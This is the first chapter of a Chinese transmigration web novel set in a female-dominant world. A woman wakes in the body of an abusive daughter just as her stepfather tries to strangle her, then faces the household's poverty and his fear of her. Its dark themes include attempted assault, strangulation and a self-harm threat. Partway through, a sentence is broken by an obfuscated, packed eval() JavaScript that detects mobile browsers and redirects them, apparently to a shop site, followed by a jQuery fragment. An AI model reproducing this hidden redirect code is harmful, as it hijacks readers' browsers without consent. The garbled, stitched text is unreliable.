第1章
强烈的窒息感让人眼冒金星。
粗麻绳再度勒紧了闻叙宁的脖子。
“喀喀……”
原本因为濒死而失神的眼睛,骤然睁大。
她要看清这个杀人凶手。
麻绳被攥紧,在他的手腕上缠了一圈又一圈,这人这是铁了心的想把她勒死。
闻叙宁双手抓住身上的重物,猛地一拽——
一个温热的,带着清冽皂角气味的身体跌进她的怀里,随即像碰到火炭般弹开。
绳结松动的片刻,空气突然灌进鼻腔,与喉咙里淤积的浊气冲撞,闻叙宁发出一声嘶哑的抽气声。
她用尽最后的力气,猛地将人推开。
砰。
男儿郎的力气不如她大,被她推得跌倒在地,后背猛地磕在桌角上。
他蹙起眉头,发出一声闷哼:“唔……”
气流带着尘土轻飘飘地钻进去,闻叙宁侧身咳个不停,鼻腔和喉咙同时开合带来的灼烧感,让每一次呼吸都带着撕裂般的痒意,混杂着血腥味的空气在肺里翻涌。
她咳得眼泪迸出,不知过了多久,才后知后觉地感受到空气填满胸膛的钝重暖意。
余光里,那个要杀她的漂亮男人撑着地,艰难地爬起来,脖颈和露出的手腕满是青紫,那双眼睛警惕的、一错不错地看着她,手里还攥着一截麻绳。
那张俊美的脸上满是泪水,那双黑白分明的眼瞳凝了一层水膜,随时会变成珠子滚下来。
明明身体那么单薄,却爆发出方才的力道,真是险些叫他给勒死了。
闻叙宁才有心思打量四周,突然到这样一个地方,又死里逃生,任谁也觉莫名其妙,心中窝火。
“你……”她的声音喑哑。
闻叙宁刚上前一步,就见这个俊美的男人抽出剪刀,有些钝的尖对准了她:“你别过来!”
那双漂亮的眼睛里只剩下绝望,也许他会后悔,为什么刚才没能杀死她。
这种感觉有些熟悉,让闻叙宁想起一个名字:“松吟?”
记忆回笼。
刚刚原主要对她这个小爹行不轨之事,兔子急了也是会咬人的,一向温顺的人奋力反抗,这才有了刚刚的事,偏被她赶上了。
松吟脸上还有泪痕,如果不是手和声都在抖,想必气势会更足:“你要当着你母亲对我做什么,我可是、是你的小爹!”
没有反驳,想必就是他了。
闻叙宁评估着四周。
家徒四壁,屋子漏风,俊俏小爹的窄腰被风勾勒出弧度。
环境资产趋近于零,负债未知,床上的病危老妇是核心不稳定因素。
唯一可观察的流动资产,是眼前这个清瘦的,用剪刀对准她的男人。
到处都散发着贫穷和破败的味道。
“……刚才的事,我很抱歉。”她不得不开始收拾这个烂摊子。
闻叙宁的道歉他置若罔闻,只是见她起身,松吟当即把剪刀对准自己:“别、别过来!”
他的衣裳被扯开了,瓷白的胸膛就这么展现出来,松吟很不自在地拢着,但衣裳都破了,哪里还能遮得住。
闻叙宁下意识望过去,他对这样的视线太警惕了,抿着唇握紧了剪刀。
原本瓷白的颈肉满是青紫的掐痕,刀尖陷入了颈动脉的软肉。
她再敢有什么动作,松吟就真的会把剪刀插进自己的颈侧。
这个世界的男人把贞洁看得比命还重,她的视线只会让松吟觉得如芒在背。
闻叙宁错开视线,退开几步,险些站不住:“你别伤到自己,我不过去。”
不大的屋子充斥着绝望的味道,松吟一错不错地看着她,许久才冷静了一点。
原主的记忆只剩下一些片段,对她帮助不大,闻叙宁饿得头晕眼花,肚子的咕咕声让她不得不先开口:“……家里没有粮食了?”
松吟握着剪刀的手松开些,沉默着摇了摇头。
初春,天还冷着,正是青黄不接的季节。
她快速进行了资产评估,可这里太破了,连她都没看到有什么能换点铜板的物品。
闻叙宁清了清嗓子,尽量让声音听起来平和:“那家里还有没有可变现的东西?”
他的身体几不可查地抖了一下,低垂下头,绷直了唇线,手指无意识地扣着袖口已经磨损的布料,像是在等待什么,时间在沉默中被拉长。
良久,他哽咽的声音很轻:“大小姐,别赌了,家里一分钱都没有了……”
看得出,松吟在极力克制着发抖的身体。
难怪他害怕,竟以为她要去赌。
松吟像是冒死谏言后,等待最终宣判的人,调动最后的精力来撑下她的毒打。
之前也没少这样,原主搜刮最后的钱财,赌输了挨打的就是他。
所以他微小的反抗甚至都不敢表现出来。
闻叙宁撑着桌子,揉了揉胀痛的额角。
实在是没想到有朝一日自己能被饿死。
他犹豫了一下,慢慢从简易的秸秆床垫上起身:“我这就去借粮。”
松吟几乎是逃一样的离开了。
就在刚刚,闻叙宁把这一切盘清楚了。
眼下她穿进一本女尊背景的宅斗小说里,只不过她的小爹松吟不是男主,而是贯穿全文的黑莲花。
松吟原是官家子,后来家族获罪,未满十五岁的他保下一条命,落到人牙子手上,辗转十年成了这家的冲喜郎君,抱着母鸡成了亲。
历经摧残,最终成了搅动风云的反派。
原本她不会记得这么清楚,可谁叫松吟的炮灰继女与她同名。
秘书还因为这事开玩笑,让她抽空一字不差地背下来,省得她穿进去了一头雾水。
这下是一语成谶。
要不是原主意图对小爹不轨,被活活勒死,她也不至于从国家级金融创新颁奖典礼上刚拿到奖,就突然来到这儿。
谁能想到她纵横金融圈这么些年,也有变成一分没有的穷光蛋的时候。
真是造化弄人。
好在天无绝人之路,她捕捉到墙角有老鼠出没的痕迹,顺藤摸瓜地找出一节小麦,半把混合在一起的小米和杂粮。
闻叙宁确实没想到,她会和老鼠抢吃的。
日落西山,松吟还没有回来。
看了一眼床上几乎没有活人味道的母亲,闻叙宁收好来之不易的粮食,出门找松吟。
“哪儿来的讨债鬼,家家户户都别吃饭了,就接济你这小吊子和那母女俩!”
“没出息的贱骨头,去年借的还没还。”
松吟充耳不闻,这些咒骂跟他没有关系一般。
他甚至没有半点被羞辱的难堪,被冷风吹得晃了一下,把碎发掖到耳后,去了另一个邻居的院子。
“耗子都知道囤粮,都比你家闻叙宁有志气!”又是一扇门猛地闭紧。
家家户户精打细算,知道借给闻家必然要不回来,不愿意再理会他。
丧门星,叫花子,这样羞辱的话此起彼伏。
人们都对他避之不及,好像他是什么灾祸。
吃了无数次闭门羹,只有松吟像是一根木头,没有什么表情,这家不借,就跪到下家门口,被骂几句,或是被石头砸,才慢慢晃到另一家。
他早就没什么力气了。
闻叙宁赶来时,他手里握着半个杂粮饼子,见她过来,把头扎得很低,声音细弱蚊蚋:“抱歉,我只要到了这点……”
在闻叙宁伸手过来的时候,他猛地闭上眼睛,瑟缩了一下。
预想中的疼痛没有落
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102841|195749||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在身上。
闻叙宁看着他颤抖不止的长睫,接过粮食:“小爹,我们回家吧。”
松吟点点头,跟在她身后慢慢走着,两道影子被夕阳拉得很长。
家家户户升起了炊烟。
那一捧从老鼠洞里掏出来的杂粮直接带壳下锅,松吟借来的半个杂粮饼也被掰碎,煮了进去。
“让我来,大小姐怎么能做这些。”松吟战战兢兢地接过她手里的勺子。
以往闻叙宁喝醉酒,就会做出温柔的模样,最后掐紧他的脖子。
“……那你来。”她将掌心的碎渣拍进锅里,一点也没有浪费。
煮过的杂粮饼子比饼渣的饱腹感更强,还能稍微多撑上一阵。
刚刚出去找松吟的时候,她注意到这里靠山。
明天可以去山上碰碰运气。
看着松吟的反应,她大概猜到他被原主无数次虐待过,和他保持了一定距离:“母亲每月吃药花费多少?”
松吟搅动着锅里的汤水,咕嘟咕嘟的热气并不能让人感到温暖:“一百五十文。”
“……我们现在靠什么生活?”闻叙宁只觉得额角有些抽痛。
原主是不可能干活的,家里没养什么活物,除了洞里不确定数目的老鼠。
松吟垂着眼睛的样子很温顺,像是一头鹿:“我会捡些粮食。”
天气很冷了,他还穿的很单薄,一阵风就能打透。
家里什么都需要安置,没有什么不是破旧的。
那锅泔水一样的东西熬好了,被他舀进碗里。
直到这时,闻叙宁才注意到他后背的一块新晕开的血迹:“你受伤了。”
不是疑问,是陈述。
想必是她大力推开的时候,松吟磕到了什么地方。
提到他的伤,松吟只摇头,放下勺子慢慢往后退:“我没事。”
“你没有痛觉的吗,”闻叙宁问,“有没有药?”
他继续摇头,脊背已经抵住了灶台旁的墙壁。
退无可退。
看样子问不出什么,闻叙宁把话全吞了回去,她想了想,转身去翻那个破包袱。
果不其然,里面有一个脏兮兮的药瓶,是原主前几天买的。
“过来,我为你上药。”她招了招手。
松吟那双黑白分明的眼睛里满是恐惧,他站在原地没有动,相比背上的伤痛,他更害怕眼前暴虐的女人。
闻叙宁本想要递到他手中,但见松吟这幅模样,还是把药放在了两人中间的地上。
“我放在这,你自己来拿。”
她说完,就真的转过了身,面朝墙壁。
身后是漫长的死寂。
不知过了多久,她听到极其轻微的、瓶子被捡起的声音,和极力压抑的、衣物窸窣的声响。
松吟没有离开,他就在那个墙角,同样背对着她给自己上药。
屋子不大,只要她回头,就能看清松吟背上的伤。
他的呼吸清浅,可能是碰到伤口,痛得吸了一口冷气。
那个位置,自己上药很艰难。
“我好了,”他小声说,“大小姐,可以用饭了。”
松吟把最多、最浓稠的一碗推到她面前。
“小爹,你不饿吗?”闻叙宁注视着他,看着他害怕到想要逃离的模样,“重新平均分。”
“还有,以后叫我名字,别喊大小姐了。”
当惯了闻总,她说话总是不自觉带着令人无可抗拒的压迫力。
那些糊糊被重新倒回锅里,搅匀、平均分配。
松吟小心打量着她的脸色:“叙宁,可以用饭了。”
闻叙宁捧着碗,喝下这味道难以恭维的汤水,看着他小口吞咽的样子,缓声道:“你这样的男人,如果卖掉,能换几袋米?”